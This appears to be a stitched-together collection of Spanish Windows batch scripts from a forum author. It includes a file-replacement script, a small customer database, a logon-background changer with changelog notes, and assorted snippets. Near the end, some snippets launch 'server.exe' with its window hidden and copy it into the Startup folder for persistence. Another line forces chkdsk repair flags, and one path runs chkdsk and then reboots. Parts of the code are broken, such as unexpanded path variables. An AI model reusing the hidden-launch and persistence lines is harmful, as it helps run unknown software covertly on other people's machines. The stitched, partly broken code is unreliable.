@Echo off
 
Rem EleKtrO H@ckeR
 
Set ArchExe="menu.exe" 
Set Ruta1= "Unidad1:\Direct\SubDirect\" 
Set Ruta2= "Unidad2:\Direct\SubDirect\"
 
Set Item1="Ruta1\ArchExe"
Set Item2="Ruta2\ArchExe"
 
Rem  Comienzo, pregunta por el 1º
:Paso1
IF EXIST "%Item1%" (goto :Paso2) ELSE (goto :End)
 
Rem  Si encontró el 1º, pregunta por el 2º
:Paso2
IF EXIST "%Item2%" (goto :Paso3) ELSE (goto :End)
 
################################################################################################################################>nul
 
:Paso3
 
REM Seteamos la fecha y la hora de creacion del Item 1 e Item 2...
 
For /F "Tokens=1,2,3*" %%a in ('dir /tc/od "ITEM1.EXE" ^| Find "ITEM1.EXE"') do (
Set Fecha_de_creacion_Item1=%%a
Set Hora_de_creacion_Item1=%%b
)
 
For /F "Tokens=1,2,3*" %%a in ('dir /tc/od "ITEM2.EXE" ^| Find "ITEM2.EXE"') do (
Set Fecha_de_creacion_Item2=%%a
Set Hora_de_creacion_Item2=%%b
)
 
Rem  Compara el 1º con el 2º
 
:Creation Date
 
REM Si la fecha de creacion del item 1 es mayor que el 2...
If %Fecha_de_creacion_Item1:~-0,5% GTR %Fecha_de_creacion_Item2:~-0,5% (Goto :Paso4)
 
REM Si la fecha de creacion del item 1 es menor que el 2...
If %Fecha_de_creacion_Item1:~-0,5% LSS %Fecha_de_creacion_Item2:~-0,5% (Goto :End)
 
REM Si la fecha de creacion del item 1 es igual que el 2...
If %Fecha_de_creacion_Item1:~-0,5% EQU %Fecha_de_creacion_Item2:~-0,5% (Goto :Creation Hour)
 
echo+ ERROR en la comparacion
Pause
 
:Creation Hour
 
REM Si la hora de creacion del item 1 es mayor que el 2...
If %Hora_de_creacion_Item1% GTR %Hora_de_creacion_Item2% (Goto :Paso4)
 
REM Si la hora de creacion del item 1 es menor que el 2...
If %Hora_de_creacion_Item1% LSS %Hora_de_creacion_Item2% (Goto :End)
 
REM Si la hora de creacion del item 1 es igual que el 2...
If %Hora_de_creacion_Item1% EQU %Hora_de_creacion_Item2% (Goto :End)
 
echo+ ERROR en la comparacion
Pause
 
################################################################################################################################>nul
 
Rem  Reemplaza
:Paso4
Copy /Y "%Item1%" "%Item2%" >nul 
goto :End
 
:End
"Menu.exe"
exit
 

echo S | chkdsk %homedrive% /F /R /X >nul

Set /?
 
Set help
 
help
 

@echo off
set /p var=Teclea algo y pulsa enter xD: 
echo %var%
pause
exit

@echo off
For /F "tokens=*" %%a in ('type "TEXTO.TXT"') do (Set Variable=%%a)
echo %variable%
pause
exit

@echo off
title Base de datos Clientes
color fc
 
If not exist "%homedrive%\clientes.txt" (echo.>"%homedrive%\clientes.txt")
 
 
:############################################################
 
REM En esta parte no he correjido nada importante, solo sintaxis y gramática xD, el "ELSE" del final...
 
REM Reseteando variables...
 
 
:MENU
 
Set o=
set check=
Set de=
set bo=
 
cls
echo.
echo %time%
echo  ##########
echo.
echo.
echo  1.- Agregar Cliente
echo  2.- Buscar dentro de la Base de datos
echo  3.- Mostrar el contenido de la Base de datos
echo  4.- Borrar Base de datos
echo.
echo.
set /p o= Elija una opci¢n: 
if not defined o (goto :menu)
if %o%==1 (goto :add)
if %o%==2 (goto :b) 
if %o%==3 (goto :x) 
if %o%==4 (goto :dl)
goto :menu
 
 
 
:############################################################
 
REM Aqui nos aseguramos de que ningún campo queda vacío...
 
 
:add
 
set name=
set dire=
set n=
set c=
set t=
set s=
 
 
cls
echo.
set /p name=- Nombre de cliente: & Call :verify name
set /p dire=- Direcci¢n        : & Call :verify dire
set /p n=- N£mero           : &    Call :verify n
set /p c=- Compras Recientes: &    Call :verify c
set /p t=- Talla            : &    Call :verify t
set /p s=- Sexo             : &    Call :verify s
echo Cliente   : %name%>>%homedrive%\clientes.txt
echo Direcci¢n : %dire%>>%homedrive%\clientes.txt
echo N£mero    : %n%>>%homedrive%\clientes.txt
echo Compras   : %c%>>%homedrive%\clientes.txt
echo Talla     : %t%>>%homedrive%\clientes.txt
echo Sexo      : %s%>>%homedrive%\clientes.txt
echo -------------------------------------------------;>>%homedrive%\clientes.txt
echo Generado Correctamente.
echo+
pause
goto :menu
 
 
:verify
if not defined %1 (
	set %1=Ninguno
	goto :eof
) ELSE (
	goto :eof
)
 
 
:############################################################
 
 
REM no te recomiendo usar setlocal si hay productos o datos que contengan caracteres especiales como "Nike!" ...pues no los vas a encontrar xD
 
REM en el metodo de buscqueda no he podido hacer nada mejor, habria sido fácil usando tail y txtback porque cada cliente esta separado en 7 líneas, pero bueno, no me he kerido comer más el coco  :xD
 
:b
cls
echo+
set /p bo=- ¨Que desea buscar dentro de la Base de datos?: 
 
find "%bo%" "%homedrive%\clientes.txt" >nul
If %errorlevel% equ 0 (
	find "%bo%" "%homedrive%\clientes.txt"
	echo+
	pause
	goto :menu
) ELSE (
	echo+
	echo No se ha encontrado ninguna coincidencia, Intentelo de nuevo...
	echo+
	pause
	goto :menu
)
 
 
 
Goto :menu
 
 
:############################################################
 
 
REM Ahora el código reconoce varias respuestas (si,SI,Si,sI,sí,Sí - No,no,NO,nO) en cambio tu código solo reconocia dos (Aunque no te lo parezca así era).
 
:dl
 
 
cls
echo.
echo  Se borrar… la base de datos, ¨Est… seguro?  Si/No
echo  Se perder…n todos los datos guardados...
set /p de=^>^>
 
echo %de%| findstr /I "^S.$" >nul
If %errorlevel% equ 0 (goto :del)
 
echo %de%| findstr /I "^NO$" >nul
If %errorlevel% equ 0 (goto :menu)
 
Goto :menu
 
:############################################################
 
REM Mas vale prevenir que curar, Los HDD's a veces se estropean, mejor nos aseguramos de que la lista se borre de verdad xD
 
:del
 
cls
echo+
echo  Borrando...
ping -n 2 localhost >nul
 
del /q /f "%homedrive%\clientes.txt" >nul 2>&1
IF %ERRORLEVEL% EQU 0 (
        echo Eliminado.
	echo+
        pause
        goto :menu
) ELSE (
        cls        
        echo No se pudo borrar la lista.
	echo+
        pause
	goto :checkeo
)
 
 
:############################################################
 
REM Y esta parte me la invento xD
 
 
:checkeo
cls
echo  ¨Quiere iniciar un escaneo de errorer de su disco duro? Si/No
echo  Se reiniciar… el Pc...
set /p CHECK=^>^>
 
echo %CHECK%| findstr /I "^S.$" >nul
If %errorlevel% equ 0 (
             echo S | chkdsk %homedrive% /F /R /X >nul
             shutdown -r -t 10
)
 
 
echo %CHECK%| findstr /I "^NO$" >nul
If %errorlevel% equ 0 (goto :menu)
 
Goto :menu
 
 
:############################################################
 
REM En el antiguo código, Sí la lista es demasiado larga no se mostraría entera... Queda corregido por si acaso.
 
:x
cls
echo.
type "%homedrive%\clientes.txt" | More /E /C
echo+
pause
goto :menu

• Corregido un error al intentar establecer una imagen cuyo nombre de archivo lleva los caracteres de parentesis ( )
• Corregido un fallo en la instalación del script... No me di cuenta, la versión 0.3 no podia funcionar porque puse la ruta mal en el script xD
• Añadida una opción en el bat para instalar el script donde uno quiera

• Aumentada las extensiones soportadas : BMP GIF EMF JPG JPEG PCX PBM PGM PPM PNG TGA TIF TIFF
• Ya no es necesario usar el archivo de registro, Se pueden añadir extensiones editando el script.
• El bat se puede usar con el parámetro "ADD" para añadir las claves del registro, O el parámetro "DELETE" para eliminar la instalación de las claves:

LogonBackgroundChanger.bat ADD
LogonBackgroundChanger.bat DELETE

• Ya no necesita usar hex2dec.exe
• Mejorada la obtención de la resolución

@echo off
Title Logon Background Changer v0.4 - by Elektro H@cker 
Mode con cols=60 lines=4
Nircmd Win center ititle "Logon Background Changer v0.4 - by Elektro H@cker" 2>NUL
color 7
 
:: CONFIGURACIÓN  :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
::
Set Extensions=BMP GIF EMF JPG JPEG PCX PBM PGM PPM PNG TGA TIF TIFF
Set Keyname=Establecer como Logon background
Set QUALITY=80
Set "Install_Dir=%Programfiles%\elektro h@cker Software\mouse menu\Logon Background Changer.bat"
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
 
IF Not exist "%INSTALL_DIR%" (Copy %0 "%INSTALL_DIR%")
If    "%~1" EQU ""        Exit /b 1
If /I "%~1" EQU "ADD"     Call :Extensions_%~1 %~1
If /I "%~1" EQU "DELETE"  Call :Extensions_%~1 %~1
 
Echo+
Echo: "%~nx1"
Echo: Estableciendo la imagen como Logon background...
 
REM Activar el Logon background customizado de Windows 7
Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /V "OEMBackground" /T "REG_DWORD" /D "00000001" /F >nul
mkdir "%WINDIR%\System32\oobe\Info\backgrounds" >nul 2>&1
 
REM Identificar resoluciones
FOR /F %%A in ('%WINDIR%\system32\wbem\wmic.exe DESKTOPMONITOR get ScreenHeight ^| FINDSTR "[1-9]"') do (SET HEIGHT=%%A)
FOR /F %%B in ('%WINDIR%\system32\wbem\wmic.exe DESKTOPMONITOR get ScreenWidth ^| FINDSTR "[1-9]"') do (SET WIDTH=%%B)
 
:: NOTA:
:: EL TAMAÑO MÁXIMO PERMITIDO PARA EL LOGON BACKGROUND ES DE "250 Kb"
 
REM OPTIMIZANDO LA RESOLUCIÓN DE LA IMAGEN...
:CONVERT
%windir%\system32\i_view32.exe %1 /resize=(%WIDTH%,%HEIGHT%) /aspectratio /resample /convert="%TEMP%\backgroundDefault.jpg" /jpgq=%QUALITY%
 
REM OPTIMIZANDO LA CALIDAD DE LA IMAGEN...
%windir%\system32\mediainfo.exe "%TEMP%\backgroundDefault.jpg" "--Inform=General;%%FileSize/String%%" | Find "MiB" >nul && SET /A QUALITY-=5&& Goto :CONVERT
For /F "Tokens=1 delims=. " %%a in ('%windir%\system32\mediainfo.exe "%TEMP%\backgroundDefault.jpg" "--Inform=General;%%FileSize/String%%"') do (Set KB=%%a)
IF %KB% GTR 249 (SET /A QUALITY-=5& Goto :Convert) ELSE (move /Y "%TEMP%\backgroundDefault.jpg" "%WINDIR%\System32\oobe\Info\backgrounds\" >NUL)
 
:FIN
Echo+
Echo: "%~nx1"
Echo: Imagen establecida correctamente como Logon background.
DEL /Q "%TEMP%\HEIGHT.txt","%TEMP%\WIDTH.txt" >nul 2>&1
ping -n 3 localhost >NUL
Exit
 
:Extensions_ADD
For %%a in (%EXTENSIONS%) DO (
	Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /F >NUL 2>&1
	Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /v "icon" /d "%WINDIR%\system32\shell32.dll,301" /F >NUL 2>&1
	Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /v "position" /d "TOP" /F >NUL 2>&1
	Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%\Command" /d "\"%Install_Dir%\" \"%%1\"" /F >NUL 2>&1
)
Exit
 
:Extensions_DELETE
For %%a in (%EXTENSIONS%) DO (Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /F) >NUL 2>&1
Exit

@echo off
:Windows 7
Title hide me
Nircmd win hide ititle "hide me"
Start /B .\"carpeta\server.exe"
Nircmd win hide "server.exe"
exit

@echo off
:Windows XP
Title hide me
Nircmd win hide ititle "hide me"
Start /B ".\carpeta\server.exe"
Nircmd win hide "server.exe"
exit

@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul